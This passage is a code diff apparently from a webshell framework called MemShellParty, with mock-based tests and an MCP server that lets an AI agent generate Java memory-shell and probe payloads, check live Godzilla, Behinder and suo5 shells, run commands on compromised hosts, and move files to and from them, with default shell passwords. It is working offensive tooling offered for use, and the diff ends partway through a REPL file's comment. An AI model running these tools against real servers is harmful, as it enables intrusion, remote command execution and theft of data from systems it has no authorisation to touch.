return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve(server))); +} + +interface ToolResult { + isError?: boolean; + content: Array<{ type: string; text: string }>; +} + +describe("MCP connect_test tool", () => { + let httpServer: Server; + let base: string; + let mcpClient: Client; + let tmpDir: string; + const remoteFiles = new Map(); + + beforeAll(async () => { + // keep test operations out of the real global op log and target store + tmpDir = mkdtempSync(join(tmpdir(), "memparty-mcp-test-")); + process.env.MEMPARTY_OPLOG = join(tmpDir, "operations.jsonl"); + process.env.MEMPARTY_TARGETS = join(tmpDir, "targets.json"); + + httpServer = await startBehinderMock(remoteFiles); + base = `http://127.0.0.1:${(httpServer.address() as AddressInfo).port}`; + + const apiClient = new MemPartyClient({ baseUrl: "http://unused" }); + const mcpServer = createMcpServer(apiClient); + const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair(); + mcpClient = new Client({ name: "test-client", version: "0.0.0" }); + await Promise.all([mcpClient.connect(clientTransport), mcpServer.connect(serverTransport)]); + }); + + afterAll(async () => { + await mcpClient.close(); + await new Promise((resolve) => httpServer.close(resolve)); + delete process.env.MEMPARTY_OPLOG; + delete process.env.MEMPARTY_TARGETS; + rmSync(tmpDir, { recursive: true, force: true }); + }); + + it("lists connect_test with its input schema", async () => { + const { tools } = await mcpClient.listTools(); + const tool = tools.find((t) => t.name === "connect_test"); + expect(tool).toBeDefined(); + expect(tool!.description).toContain("protocol handshake"); + const props = (tool!.inputSchema as { properties: Record }).properties; + expect(Object.keys(props)).toEqual( + expect.arrayContaining(["url", "tool", "pass", "key", "headerName", "headerValue"]), + ); + }); + + it("reports ok=true for a working shell", async () => { + const result = (await mcpClient.callTool({ + name: "connect_test", + arguments: { + url: `${base}/behinder`, + tool: "behinder", + pass: "rebeyond", + headerValue: GATE, + }, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + const payload = JSON.parse(result.content[0]!.text); + expect(payload.ok).toBe(true); + expect(payload.tool).toBe("behinder"); + }); + + it("reports ok=false for a wrong password (not a protocol error)", async () => { + const result = (await mcpClient.callTool({ + name: "connect_test", + arguments: { + url: `${base}/behinder`, + tool: "behinder", + pass: "wrongpass", + headerValue: GATE, + }, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + const payload = JSON.parse(result.content[0]!.text); + expect(payload.ok).toBe(false); + expect(payload.error).toBeTruthy(); + }); + + describe("target tools", () => { + let dir: string; + + beforeAll(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-mcp-targets-")); + process.env.MEMPARTY_TARGETS = join(dir, "targets.json"); + process.env.MEMPARTY_OPLOG = join(dir, "operations.jsonl"); + }); + + afterAll(() => { + delete process.env.MEMPARTY_TARGETS; + delete process.env.MEMPARTY_OPLOG; + rmSync(dir, { recursive: true, force: true }); + }); + + it("saves a target with project meta", async () => { + const result = (await mcpClient.callTool({ + name: "target_save", + arguments: { + project: "hw", + shell: "bh", + url: `${base}/behinder`, + tool: "behinder", + pass: "rebeyond", + headerValue: GATE, + projectRemark: "测试项目", + projectCategory: "lab", + shellRemark: "9060 冰蝎", + }, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + const saved = JSON.parse(result.content[0]!.text); + expect(saved.tool).toBe("behinder"); + expect(saved.url).toBe(`${base}/behinder`); + expect(saved.remark).toBe("9060 冰蝎"); + }); + + it("lists saved targets with remark and category", async () => { + const result = (await mcpClient.callTool({ + name: "target_list", + arguments: {}, + })) as ToolResult; + const payload = JSON.parse(result.content[0]!.text); + expect(payload.projects.hw.remark).toBe("测试项目"); + expect(payload.projects.hw.category).toBe("lab"); + expect(payload.projects.hw.shells.bh.remark).toBe("9060 冰蝎"); + expect(Object.keys(payload.projects.hw.shells)).toEqual(["bh"]); + }); + + it("runs connect_test by target name", async () => { + const result = (await mcpClient.callTool({ + name: "connect_test", + arguments: { name: "hw/bh" }, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + expect(JSON.parse(result.content[0]!.text).ok).toBe(true); + }); + + it("runs exec_command by target name", async () => { + const result = (await mcpClient.callTool({ + name: "exec_command", + arguments: { name: "hw/bh", command: "id" }, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + const payload = JSON.parse(result.content[0]!.text); + expect(payload.ok).toBe(true); + expect(payload.output).toBe("MOCK-EXEC:id"); + }); + + it("errors for an unknown target name", async () => { + const result = (await mcpClient.callTool({ + name: "connect_test", + arguments: { name: "nope/nothing" }, + })) as ToolResult; + expect(result.isError).toBe(true); + expect(result.content[0]!.text).toContain("unknown project"); + }); + + it("removes the project", async () => { + const result = (await mcpClient.callTool({ + name: "target_remove", + arguments: { project: "hw" }, + })) as ToolResult; + expect(JSON.parse(result.content[0]!.text).removed).toBe(true); + const gone = (await mcpClient.callTool({ + name: "connect_test", + arguments: { name: "hw/bh" }, + })) as ToolResult; + expect(gone.isError).toBe(true); + }); + + it("logs every operation to the global op log", async () => { + const result = (await mcpClient.callTool({ + name: "log_list", + arguments: {}, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + const payload = JSON.parse(result.content[0]!.text); + const actions = payload.entries.map( + (e: { category: string; action: string }) => `${e.category}:${e.action}`, + ); + expect(actions).toContain("save:save"); + expect(actions).toContain("connect:connect"); + expect(actions).toContain("exec:exec"); + expect(actions).toContain("remove:remove"); + + const execOnly = (await mcpClient.callTool({ + name: "log_list", + arguments: { category: "exec" }, + })) as ToolResult; + const filtered = JSON.parse(execOnly.content[0]!.text); + expect(filtered.entries.length).toBeGreaterThan(0); + expect( + filtered.entries.every((e: { category: string }) => e.category === "exec"), + ).toBe(true); + }); + }); + + describe("transfer tools", () => { + const payloadBytes = Buffer.alloc(70_000); + for (let i = 0; i < payloadBytes.length; i++) payloadBytes[i] = (i * 5 + 23) % 256; + + beforeAll(() => { + // keep the auto-saved target out of the user's real target store + process.env.MEMPARTY_TARGETS = join(tmpDir, "targets.json"); + }); + + afterAll(() => { + delete process.env.MEMPARTY_TARGETS; + }); + + it("lists download_file and upload_file with their schemas", async () => { + const { tools } = await mcpClient.listTools(); + const download = tools.find((t) => t.name === "download_file"); + const upload = tools.find((t) => t.name === "upload_file"); + expect(download).toBeDefined(); + expect(upload).toBeDefined(); + const dlProps = (download!.inputSchema as { properties: Record }).properties; + expect(Object.keys(dlProps)).toEqual( + expect.arrayContaining(["remotePath", "localPath", "force", "name", "url", "tool"]), + ); + }); + + it("uploads a multi-chunk file and auto-saves the target", async () => { + const localFile = join(tmpDir, "mcp-upload.bin"); + writeFileSync(localFile, payloadBytes); + const result = (await mcpClient.callTool({ + name: "upload_file", + arguments: { + url: `${base}/behinder`, + tool: "behinder", + pass: "rebeyond", + headerValue: GATE, + localPath: localFile, + remotePath: "/remote/mcp.bin", + }, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + const payload = JSON.parse(result.content[0]!.text); + expect(payload.ok).toBe(true); + expect(payload.bytes).toBe(payloadBytes.length); + expect(payload.savedAs).toBe("127.0.0.1/behinder"); + expect(remoteFiles.get("/remote/mcp.bin")?.equals(payloadBytes)).toBe(true); + }); + + it("downloads it back by the saved target name", async () => { + const localFile = join(tmpDir, "mcp-download.bin"); + const result = (await mcpClient.callTool({ + name: "download_file", + arguments: { name: "127.0.0.1/behinder", remotePath: "/remote/mcp.bin", localPath: localFile }, + })) as ToolResult; + expect(result.isError).toBeFalsy(); + const payload = JSON.parse(result.content[0]!.text); + expect(payload.ok).toBe(true); + expect(payload.bytes).toBe(payloadBytes.length); + expect(payload.data).toBeUndefined(); // file bytes never go over MCP + expect(readFileSync(localFile).equals(payloadBytes)).toBe(true); + }); + + it("refuses to overwrite a local file without force", async () => { + const localFile = join(tmpDir, "mcp-download.bin"); + const result = (await mcpClient.callTool({ + name: "download_file", + arguments: { name: "127.0.0.1/behinder", remotePath: "/remote/mcp.bin", localPath: localFile }, + })) as ToolResult; + expect(result.isError).toBe(true); + expect(result.content[0]!.text).toMatch(/already exists/); + + const forced = (await mcpClient.callTool({ + name: "download_file", + arguments: { + name: "127.0.0.1/behinder", + remotePath: "/remote/mcp.bin", + localPath: localFile, + force: true, + }, + })) as ToolResult; + expect(forced.isError).toBeFalsy(); + expect(JSON.parse(forced.content[0]!.text).ok).toBe(true); + }); + + it("errors on a missing local file for upload", async () => { + const result = (await mcpClient.callTool({ + name: "upload_file", + arguments: { + name: "127.0.0.1/behinder", + localPath: join(tmpDir, "no-such.bin"), + remotePath: "/remote/never.bin", + }, + })) as ToolResult; + expect(result.isError).toBe(true); + expect(result.content[0]!.text).toMatch(/does not exist/); + }); + + it("logs the transfers to the global op log", async () => { + const result = (await mcpClient.callTool({ + name: "log_list", + arguments: { category: "upload" }, + })) as ToolResult; + const entries = JSON.parse(result.content[0]!.text).entries as Array<{ + category: string; + meta?: { bytes?: number }; + }>; + expect(entries.length).toBeGreaterThan(0); + expect(entries.every((e) => e.category === "upload")).toBe(true); + expect(entries[0]!.meta?.bytes).toBe(payloadBytes.length); + }); + }); +}); diff --git a/tools/cli/src/mcp/server.ts b/tools/cli/src/mcp/server.ts new file mode 100644 index 00000000..6b01cc3b --- /dev/null +++ b/tools/cli/src/mcp/server.ts @@ -0,0 +1,905 @@ +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import { writeFileSync } from "node:fs"; +import { z } from "zod"; + +import { MemPartyClient } from "../api/client.js"; +import { + downloadBehinder, + execBehinder, + testBehinder, + uploadBehinder, +} from "../connect/behinder.js"; +import { + downloadGodzilla, + execGodzilla, + testGodzilla, + uploadGodzilla, +} from "../connect/godzilla.js"; +import { testSuo5 } from "../connect/suo5.js"; +import type { + ConnectTestResult, + DownloadResult, + ExecResult, + TransferResult, +} from "../connect/types.js"; +import { readUploadFile, resolveDownloadPath } from "../core/localfile.js"; +import { logOp, opLogPath, readOps, truncateOutput, type OpCategory } from "../core/oplog.js"; +import { + autoSaveShell, + listProjects, + removeProject, + removeShell, + resolveConnection, + saveProjectMeta, + saveShell, + saveShellMeta, + targetStorePath, +} from "../core/targets.js"; +import { buildMemShellRequest } from "../core/request-builder.js"; +import { buildProbeRequest } from "../core/request-builder.js"; +import { CLI_VERSION } from "../version.js"; + +function jsonContent(data: unknown) { + return { content: [{ type: "text" as const, text: JSON.stringify(data, null, 2) }] }; +} + +function errorContent(err: unknown) { + return { + isError: true, + content: [{ type: "text" as const, text: `Error: ${(err as Error).message}` }], + }; +} + +const memShellInput = { + server: z.string().describe("Target server, e.g. Tomcat"), + serverVersion: z.string().optional(), + shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"), + shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"), + packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"), + jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"), + debug: z.boolean().optional(), + byPassJavaModule: z.boolean().optional(), + shrink: z.boolean().optional(), + lambdaSuffix: z.boolean().optional(), + probe: z.boolean().optional(), + shellClassName: z.string().optional(), + godzillaPass: z.string().optional(), + godzillaKey: z.string().optional(), + behinderPass: z.string().optional(), + antSwordPass: z.string().optional(), + commandParamName: z.string().optional(), + commandTemplate: z.string().optional(), + encryptor: z.string().optional(), + implementationClass: z.string().optional(), + headerName: z.string().optional(), + headerValue: z.string().optional(), + shellClassBase64: z.string().optional(), + urlPattern: z.string().optional(), + injectorClassName: z.string().optional(), + staticInitialize: z.boolean().optional(), +}; + +const probeInput = { + probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]), + probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"), + packer: z.string(), + jdk: z.string().optional(), + debug: z.boolean().optional(), + byPassJavaModule: z.boolean().optional(), + shrink: z.boolean().optional(), + lambdaSuffix: z.boolean().optional(), + staticInitialize: z.boolean().optional(), + shellClassName: z.string().optional(), + host: z.string().optional(), + seconds: z.number().optional(), + sleepServer: z.string().optional(), + server: z.string().optional(), + reqParamName: z.string().optional(), + commandTemplate: z.string().optional(), +}; + +const connectInput = { + name: z + .string() + .optional() + .describe( + "saved target reference (/, or a bare project holding exactly one shell) — " + + "when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)", + ), + url: z.string().optional().describe("URL of the deployed shell (or pass `name`)"), + tool: z + .enum(["godzilla", "behinder", "suo5"]) + .optional() + .describe("shell tool to test (or taken from the saved target)"), + pass: z + .string() + .optional() + .describe("password (godzilla default: pass; behinder default: rebeyond)"), + key: z.string().optional().describe("godzilla key (default: key)"), + headerName: z + .string() + .optional() + .describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"), + headerValue: z + .string() + .optional() + .describe("gate header value from generate_memshell shellToolConfig — required for MemShellParty shells"), + suo5Mode: z + .enum(["auto", "v2", "v1"]) + .optional() + .describe("suo5 protocol variant (default: auto)"), + insecure: z.boolean().optional().describe("skip TLS certificate verification"), + timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"), +}; + +const execInput = { + name: z + .string() + .optional() + .describe( + "saved target reference (/, or a bare project holding exactly one shell) — " + + "when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)", + ), + url: z.string().optional().describe("URL of the deployed shell (or pass `name`)"), + tool: z + .enum(["godzilla", "behinder"]) + .optional() + .describe("shell tool to execute through (or taken from the saved target)"), + command: z.string().describe("command line to execute on the target"), + pass: z + .string() + .optional() + .describe("password (godzilla default: pass; behinder default: rebeyond)"), + key: z.string().optional().describe("godzilla key (default: key)"), + os: z + .enum(["auto", "windows", "linux"]) + .optional() + .describe( + "godzilla only: remote OS for the shell wrapper (default: auto — one extra request to detect; behinder detects the OS inside its payload)", + ), + headerName: z + .string() + .optional() + .describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"), + headerValue: z + .string() + .optional() + .describe("gate header value from generate_memshell shellToolConfig — required for MemShellParty shells"), + insecure: z.boolean().optional().describe("skip TLS certificate verification"), + timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"), +}; + +/** Connection fields shared by download_file / upload_file (no command/os). */ +const transferConnInput = { + name: execInput.name, + url: execInput.url, + tool: execInput.tool, + pass: execInput.pass, + key: execInput.key, + headerName: execInput.headerName, + headerValue: execInput.headerValue, + insecure: execInput.insecure, + timeoutMs: execInput.timeoutMs, + remoteCharset: z + .string() + .optional() + .describe( + "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)", + ), +}; + +const downloadInput = { + ...transferConnInput, + remotePath: z.string().describe("remote file path to download"), + localPath: z + .string() + .optional() + .describe( + "local destination (default: ./; an existing directory keeps the basename)", + ), + force: z + .boolean() + .optional() + .describe("overwrite the local file when it already exists (default: refuse)"), +}; + +const uploadInput = { + ...transferConnInput, + localPath: z.string().describe("local file to upload (max 64 MiB)"), + remotePath: z.string().describe("remote destination path (overwritten when it exists)"), +}; + +const targetSaveInput = { + project: z.string().describe("project name (created when missing)"), + shell: z.string().describe("shell name inside the project"), + url: z.string().describe("URL of the deployed shell"), + tool: z.enum(["godzilla", "behinder", "suo5"]).describe("shell tool"), + pass: z.string().optional().describe("password"), + key: z.string().optional().describe("godzilla key"), + headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"), + headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"), + insecure: z.boolean().optional().describe("skip TLS certificate verification"), + projectRemark: z.string().optional().describe("project remark (merged into the project)"), + projectCategory: z.string().optional().describe("project category (merged into the project)"), + shellRemark: z.string().optional().describe("remark for this shell"), +}; + +export function createMcpServer(client: MemPartyClient): McpServer { + const server = new McpServer({ name: "memshell-party", version: CLI_VERSION }); + + server.registerTool( + "list_servers", + { title: "List servers", description: "List supported servers and their shell types" }, + async () => { + try { + return jsonContent(await client.getServers()); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "list_config", + { + title: "List full config", + description: "List every server's shell tools and their supported shell types", + }, + async () => { + try { + return jsonContent(await client.getConfig()); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "list_packers", + { title: "List packers", description: "List packers as a parent/child tree" }, + async () => { + try { + return jsonContent(await client.getPackerTree()); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "list_command_configs", + { + title: "List command configs", + description: "List Command-tool encryptors and implementation classes", + }, + async () => { + try { + return jsonContent(await client.getCommandConfigs()); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "generate_memshell", + { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput }, + async (args) => { + const meta = { + server: args.server, + serverVersion: args.serverVersion, + shellTool: args.shellTool, + shellType: args.shellType, + packer: args.packer, + jdk: args.jdk, + }; + const started = Date.now(); + try { + const response = await client.generateMemShell(buildMemShellRequest(args)); + logOp({ + category: "gen", + action: "gen", + ok: true, + durationMs: Date.now() - started, + detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`, + meta, + }); + return jsonContent(response); + } catch (err) { + logOp({ + category: "gen", + action: "gen", + ok: false, + durationMs: Date.now() - started, + error: (err as Error).message, + meta, + }); + return errorContent(err); + } + }, + ); + + server.registerTool( + "generate_probe", + { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput }, + async (args) => { + const meta = { + probeMethod: args.probeMethod, + probeContent: args.probeContent, + packer: args.packer, + jdk: args.jdk, + }; + const started = Date.now(); + try { + const response = await client.generateProbe(buildProbeRequest(args)); + logOp({ + category: "probe", + action: "probe", + ok: true, + durationMs: Date.now() - started, + detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`, + meta, + }); + return jsonContent(response); + } catch (err) { + logOp({ + category: "probe", + action: "probe", + ok: false, + durationMs: Date.now() - started, + error: (err as Error).message, + meta, + }); + return errorContent(err); + } + }, + ); + + server.registerTool( + "parse_classname", + { + title: "Parse class name", + description: "Parse the fully-qualified class name from base64-encoded .class bytes", + inputSchema: { classBase64: z.string().describe("base64-encoded .class file bytes") }, + }, + async ({ classBase64 }) => { + try { + return jsonContent({ className: await client.parseClassName(classBase64) }); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "server_version", + { title: "Server version", description: "Get the backend server version info" }, + async () => { + try { + return jsonContent(await client.getVersion()); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "connect_test", + { + title: "Test shell connection", + description: + "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the " + + "credentials work, by performing the tool's real protocol handshake. " + + "Pass a saved target `name`, or url+tool with the gate header " + + "(headerName/headerValue) from generate_memshell output for MemShellParty shells. " + + "On success the profile is auto-saved and the canonical name returned as " + + "`savedAs` — reuse it as `name` in later calls.", + inputSchema: connectInput, + }, + async (args) => { + try { + const conn = resolveConnection(args.name, { + url: args.url, + tool: args.tool, + pass: args.pass, + key: args.key, + headerName: args.headerName, + headerValue: args.headerValue, + insecure: args.insecure, + }); + const common = { + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: conn.extraHeaders, + timeoutMs: args.timeoutMs, + insecure: conn.insecure, + }; + let result: ConnectTestResult; + switch (conn.tool) { + case "godzilla": + result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common); + break; + case "behinder": + result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common); + break; + case "suo5": + result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode }); + break; + default: + throw new Error(`unknown tool ${String(conn.tool)}`); + } + // a successful handshake proves the credentials — keep them as a named target + let savedAs: string | undefined; + if (result.ok && conn.targetName === undefined) { + savedAs = autoSaveShell(conn); + conn.targetName = savedAs; + } + logOp({ + category: "connect", + action: "connect", + targetName: conn.targetName, + url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + detail: result.detail, + error: result.error, + }); + return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "exec_command", + { + title: "Execute command on shell", + description: + "Execute a command line on a deployed Godzilla / Behinder shell and return its " + + "stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / " + + "Behinder Cmd payload). Run connect_test first to verify credentials; pass a " + + "saved target `name`, or url+tool with the same gate header " + + "(headerName/headerValue) for MemShellParty shells. On success the profile " + + "is auto-saved and the canonical name returned as `savedAs`.", + inputSchema: execInput, + }, + async (args) => { + try { + const conn = resolveConnection(args.name, { + url: args.url, + tool: args.tool, + pass: args.pass, + key: args.key, + headerName: args.headerName, + headerValue: args.headerValue, + insecure: args.insecure, + }); + const common = { + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: conn.extraHeaders, + timeoutMs: args.timeoutMs, + insecure: conn.insecure, + }; + let result: ExecResult; + switch (conn.tool) { + case "godzilla": + result = await execGodzilla( + conn.url, + conn.pass ?? "pass", + conn.key ?? "key", + args.command, + { ...common, os: args.os }, + ); + break; + case "behinder": + result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common); + break; + default: + throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`); + } + // a successful exec proves the credentials — keep them as a named target + let savedAs: string | undefined; + if (result.ok && conn.targetName === undefined) { + savedAs = autoSaveShell(conn); + conn.targetName = savedAs; + } + const truncated = result.output !== undefined ? truncateOutput(result.output) : null; + logOp({ + category: "exec", + action: "exec", + targetName: conn.targetName, + url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + command: args.command, + output: truncated?.output, + outputTruncated: truncated?.truncated || undefined, + error: result.error, + }); + return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "download_file", + { + title: "Download file from shell", + description: + "Download a file from a deployed Godzilla / Behinder shell to the local machine. " + + "Chunked transfer with integrity verification (Godzilla: remote size; Behinder: MD5). " + + "Pass a saved target `name`, or url+tool with the gate header for MemShellParty shells. " + + "The local file is never overwritten unless force=true. On success the profile is " + + "auto-saved and the canonical name returned as `savedAs`.", + inputSchema: downloadInput, + }, + async (args) => { + try { + const conn = resolveConnection(args.name, { + url: args.url, + tool: args.tool, + pass: args.pass, + key: args.key, + headerName: args.headerName, + headerValue: args.headerValue, + insecure: args.insecure, + }); + const common = { + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: conn.extraHeaders, + timeoutMs: args.timeoutMs, + insecure: conn.insecure, + }; + // decide + validate the local destination before touching the network + const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false); + + let result: DownloadResult; + switch (conn.tool) { + case "godzilla": + result = await downloadGodzilla( + conn.url, + conn.pass ?? "pass", + conn.key ?? "key", + args.remotePath, + { ...common, remoteCharset: args.remoteCharset }, + ); + break; + case "behinder": + result = await downloadBehinder( + conn.url, + conn.pass ?? "rebeyond", + args.remotePath, + common, + ); + break; + default: + throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`); + } + if (result.ok && result.data !== undefined) { + try { + writeFileSync(localPath, result.data); + } catch (err) { + result = { + ...result, + ok: false, + error: `download succeeded but writing ${localPath} failed: ${(err as Error).message}`, + }; + } + } + let savedAs: string | undefined; + if (result.ok && conn.targetName === undefined) { + savedAs = autoSaveShell(conn); + conn.targetName = savedAs; + } + logOp({ + category: "download", + action: "download", + targetName: conn.targetName, + url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + detail: result.ok + ? `${args.remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` + : undefined, + error: result.error, + meta: { remotePath: args.remotePath, localPath, bytes: result.bytes }, + }); + const { data: _data, ...wire } = result; + return jsonContent({ ...wire, localPath, savedAs }); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "upload_file", + { + title: "Upload file to shell", + description: + "Upload a local file to a deployed Godzilla / Behinder shell, overwriting the remote " + + "path (max 64 MiB). Chunked transfer with integrity verification (Godzilla: remote " + + "size; Behinder: MD5). Pass a saved target `name`, or url+tool with the gate header " + + "for MemShellParty shells. On success the profile is auto-saved and the canonical " + + "name returned as `savedAs`.", + inputSchema: uploadInput, + }, + async (args) => { + try { + const conn = resolveConnection(args.name, { + url: args.url, + tool: args.tool, + pass: args.pass, + key: args.key, + headerName: args.headerName, + headerValue: args.headerValue, + insecure: args.insecure, + }); + const common = { + headerName: conn.headerName, + headerValue: conn.headerValue, + extraHeaders: conn.extraHeaders, + timeoutMs: args.timeoutMs, + insecure: conn.insecure, + }; + // read + validate the local file before touching the network + const data = readUploadFile(args.localPath); + + let result: TransferResult; + switch (conn.tool) { + case "godzilla": + result = await uploadGodzilla( + conn.url, + conn.pass ?? "pass", + conn.key ?? "key", + args.remotePath, + data, + { ...common, remoteCharset: args.remoteCharset }, + ); + break; + case "behinder": + result = await uploadBehinder( + conn.url, + conn.pass ?? "rebeyond", + args.remotePath, + data, + common, + ); + break; + default: + throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`); + } + let savedAs: string | undefined; + if (result.ok && conn.targetName === undefined) { + savedAs = autoSaveShell(conn); + conn.targetName = savedAs; + } + logOp({ + category: "upload", + action: "upload", + targetName: conn.targetName, + url: conn.url, + tool: conn.tool, + ok: result.ok, + durationMs: result.durationMs, + detail: result.ok + ? `${args.localPath} -> ${args.remotePath} (${result.bytes ?? 0} bytes)` + : undefined, + error: result.error, + meta: { localPath: args.localPath, remotePath: args.remotePath, bytes: result.bytes }, + }); + return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "target_save", + { + title: "Save shell target", + description: + "Save a shell connection profile as / so later connect_test / " + + "exec_command calls only need the name. A project groups several shells and " + + "carries an optional remark and category. Overwrites an existing shell.", + inputSchema: targetSaveInput, + }, + async (args) => { + try { + if (args.projectRemark !== undefined || args.projectCategory !== undefined) { + saveProjectMeta(args.project, { + remark: args.projectRemark, + category: args.projectCategory, + }); + } + const stored = saveShell(args.project, args.shell, { + url: args.url, + tool: args.tool, + pass: args.pass, + key: args.key, + headerName: args.headerName, + headerValue: args.headerValue, + insecure: args.insecure, + remark: args.shellRemark, + }); + logOp({ + category: "save", + action: "save", + targetName: `${args.project}/${args.shell}`, + url: args.url, + tool: args.tool, + ok: true, + detail: "saved", + meta: { + projectRemark: args.projectRemark, + projectCategory: args.projectCategory, + shellRemark: args.shellRemark, + }, + }); + return jsonContent({ project: args.project, shell: args.shell, ...stored }); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "target_note", + { + title: "Set remark/category", + description: + "Set or clear (empty string) a project's remark and/or category — or a shell's " + + "remark when `shell` is given.", + inputSchema: { + project: z.string(), + shell: z.string().optional().describe("when set, only `remark` applies (to the shell)"), + remark: z.string().optional().describe('remark ("" to clear)'), + category: z.string().optional().describe('project category ("" to clear; projects only)'), + }, + }, + async (args) => { + try { + if (args.shell) { + if (args.category !== undefined) { + throw new Error("category only applies to projects"); + } + const updated = saveShellMeta(args.project, args.shell, { remark: args.remark }); + logOp({ + category: "note", + action: "note", + targetName: `${args.project}/${args.shell}`, + ok: true, + detail: `remark=${updated.remark ?? "-"}`, + }); + return jsonContent({ + project: args.project, + shell: args.shell, + remark: updated.remark, + }); + } + const updated = saveProjectMeta(args.project, { + remark: args.remark, + category: args.category, + }); + logOp({ + category: "note", + action: "note", + targetName: args.project, + ok: true, + detail: `category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}`, + }); + return jsonContent({ project: args.project, ...updated, shells: Object.keys(updated.shells) }); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "target_list", + { + title: "List saved targets", + description: + "List saved projects (remark, category) and their shells. Use the " + + "/ references as `name` in connect_test / exec_command.", + inputSchema: { + category: z.string().optional().describe("only show projects in this category"), + }, + }, + async (args) => { + try { + const all = listProjects(); + const filtered: Record = {}; + for (const [name, p] of Object.entries(all)) { + if (args.category !== undefined && p.category !== args.category) continue; + filtered[name] = p; + } + return jsonContent({ storePath: targetStorePath(), projects: filtered }); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "target_remove", + { + title: "Remove saved target", + description: "Remove a whole project, or a single shell when `shell` is given.", + inputSchema: { + project: z.string(), + shell: z.string().optional(), + }, + }, + async (args) => { + try { + const removed = args.shell + ? removeShell(args.project, args.shell) + : removeProject(args.project); + if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`); + logOp({ + category: "remove", + action: "remove", + targetName: args.shell ? `${args.project}/${args.shell}` : args.project, + ok: true, + detail: "removed", + }); + return jsonContent({ removed: true, project: args.project, shell: args.shell }); + } catch (err) { + return errorContent(err); + } + }, + ); + + server.registerTool( + "log_list", + { + title: "List operation log", + description: + "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), " + + "newest first. Filter by category and/or target.", + inputSchema: { + category: z + .enum(["gen", "probe", "connect", "exec", "download", "upload", "save", "note", "remove"]) + .optional() + .describe("operation category"), + target: z + .string() + .optional() + .describe("project name, project/shell, or a URL substring (e.g. host)"), + limit: z.number().optional().describe("max entries (default 50)"), + }, + }, + async (args) => { + try { + const entries = readOps({ + category: args.category as OpCategory | undefined, + target: args.target, + limit: args.limit, + }); + return jsonContent({ logPath: opLogPath(), entries }); + } catch (err) { + return errorContent(err); + } + }, + ); + + return server; +} + +/** Start the MCP server over stdio. */ +export async function startMcpStdio(client: MemPartyClient): Promise { + const server = createMcpServer(client); + const transport = new StdioServerTransport(); + await server.connect(transport); +} diff --git a/tools/cli/src/repl.ts b/tools/cli/src/repl.ts new file mode 100644 index 00000000..895205a3 --- /dev/null +++ b/tools/cli/src/repl.ts @@ -0,0 +1,128 @@ +/** + * Interactive REPL for `memparty` with no arguments: one process, many + * commands. Each line is parsed like regular CLI argv (quotes supported), + * so anything that works as `memparty ` works at the prompt — + * including 